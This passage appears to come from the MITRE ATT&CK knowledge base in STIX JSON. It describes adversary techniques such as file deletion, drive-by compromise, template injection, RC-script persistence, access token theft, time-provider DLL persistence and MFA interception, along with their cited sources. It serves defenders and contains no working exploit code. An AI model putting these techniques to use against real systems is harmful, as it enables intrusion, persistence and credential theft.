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            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)",
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            "created": "2020-01-31T12:35:36.479Z",
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                    "external_id": "T1070.004"
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                {
                    "source_name": "Microsoft SDelete July 2016",
                    "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
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            "modified": "2026-05-12T15:12:00.718Z",
            "name": "File Deletion",
            "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and `rm` on ESXi.",
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            "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "created": "2018-04-18T17:59:24.739Z",
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                    "url": "https://attack.mitre.org/techniques/T1189",
                    "external_id": "T1189"
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                {
                    "source_name": "Shadowserver Strategic Web Compromise",
                    "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
                    "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
                },
                {
                    "source_name": "push notification -mcafee",
                    "description": "Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/"
                },
                {
                    "source_name": "Push notifications - viruspositive",
                    "description": "Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.",
                    "url": "https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications"
                },
                {
                    "source_name": "push notifications - malwarebytes",
                    "description": "Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.",
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            "name": "Drive-by Compromise",
            "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.",
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            "created": "2019-04-17T20:23:15.105Z",
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                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
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                    "source_name": "FSISAC FraudNetDoS September 2012",
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                    "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
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                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.",
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                },
                {
                    "source_name": "Symantec DDoS October 2014",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
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                    "external_id": "T1651"
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                    "source_name": "AWS Systems Manager Run Command",
                    "description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.",
                    "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"
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                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
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                    "source_name": "Microsoft Run Command",
                    "description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.",
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            "description": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)",
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                {
                    "source_name": "Application Bundle Manipulation Brandon Dalton",
                    "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
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                {
                    "source_name": "Debian Manual Maintainer Scripts",
                    "description": "Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.",
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                },
                {
                    "source_name": "Windows AppleJeus GReAT",
                    "description": "Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.",
                    "url": "https://securelist.com/operation-applejeus/87553/"
                },
                {
                    "source_name": "Microsoft Installation Procedures",
                    "description": "Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.",
                    "url": "https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"
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                {
                    "source_name": "wardle evilquest parti",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x59.html"
                },
                {
                    "source_name": "Installer Package Scripting Rich Trouton",
                    "description": "Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.",
                    "url": "https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"
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                    "source_name": "Botnet Scan",
                    "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
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            "name": "Scanning IP Blocks",
            "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1158",
                    "external_id": "T1158"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
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            "name": "Hidden Files and Directories",
            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.",
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            "created": "2018-10-17T00:14:20.652Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1221",
                    "external_id": "T1221"
                },
                {
                    "source_name": "Talos Template Injection July 2017",
                    "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
                },
                {
                    "source_name": "ryhanson phishery SEPT 2016",
                    "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
                    "url": "https://github.com/ryhanson/phishery"
                },
                {
                    "source_name": "Redxorblue Remote Template Injection",
                    "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
                    "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
                },
                {
                    "source_name": "Anomali Template Injection MAR 2018",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
                },
                {
                    "source_name": "Microsoft Open XML July 2017",
                    "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
                },
                {
                    "source_name": "Ciberseguridad Decoding malicious RTF files",
                    "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
                    "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
                },
                {
                    "source_name": "Proofpoint RTF Injection",
                    "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
                },
                {
                    "source_name": "MalwareBytes Template Injection OCT 2017",
                    "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
                },
                {
                    "source_name": "SANS Brian Wiltse Template Injection",
                    "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
                    "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
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            "name": "Template Injection",
            "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
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        {
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            "created": "2020-01-15T16:25:22.260Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/004",
                    "external_id": "T1037.004"
                },
                {
                    "source_name": "Apple Developer Doco Archive Launchd",
                    "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Juniper Networks ESXi Backdoor 2022",
                    "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
                },
                {
                    "source_name": "Ubuntu Manpage systemd rc",
                    "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and        /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.",
                    "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"
                },
                {
                    "source_name": "IranThreats Kittens Dec 2017",
                    "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
                    "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
                },
                {
                    "source_name": "Intezer HiddenWasp Map 2019",
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
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            "modified": "2025-10-24T17:49:28.955Z",
            "name": "RC Scripts",
            "description": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
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            "type": "attack-pattern",
            "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "created": "2017-12-14T16:46:06.044Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134",
                    "external_id": "T1134"
                },
                {
                    "source_name": "Pentestlab Token Manipulation",
                    "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.",
                    "url": "https://pentestlab.blog/2017/04/03/token-manipulation/"
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            "name": "Access Token Manipulation",
            "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
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                    "url": "https://attack.mitre.org/techniques/T1209",
                    "external_id": "T1209"
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                {
                    "source_name": "Microsoft W32Time Feb 2018",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"
                },
                {
                    "source_name": "Microsoft TimeProvider",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"
                },
                {
                    "source_name": "Github W32Time Oct 2017",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "url": "https://github.com/scottlundgren/w32time"
                },
                {
                    "source_name": "Microsoft W32Time May 2017",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "name": "Time Providers",
            "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
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            "created": "2017-05-31T21:31:23.195Z",
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                    "url": "https://attack.mitre.org/techniques/T1111",
                    "external_id": "T1111"
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                {
                    "source_name": "GCN RSA June 2011",
                    "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.",
                    "url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
                },
                {
                    "source_name": "Mandiant M Trends 2011",
                    "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                    "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
                },
                {
                    "source_name": "Okta Scatter Swine 2022",
                    "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                    "url": "https://sec.okta.com/scatterswine"
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            "name": "Multi-Factor Authentication Interception",
            "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "url": "https://attack.mitre.org/techniques/T1159",
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                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
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                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
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                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
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                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
                    "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
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                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
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                    "source_name": "Awesome Executable Packing",
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                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
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                    "source_name": "AWS Lambda Redirector",
                    "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
                    "url": "https://blog.xpnsec.com/aws-lambda-redirector/"
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                    "source_name": "Detecting Command & Control in the Cloud",
                    "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
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                    "source_name": "BlackWater Malware Cloudflare Workers",
                    "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
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                    "source_name": "GWS Apps Script Abuse 2021",
                    "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.",
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            "description": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)",
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                    "external_id": "T1071.001"
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                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
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                    "source_name": "University of Birmingham C2",
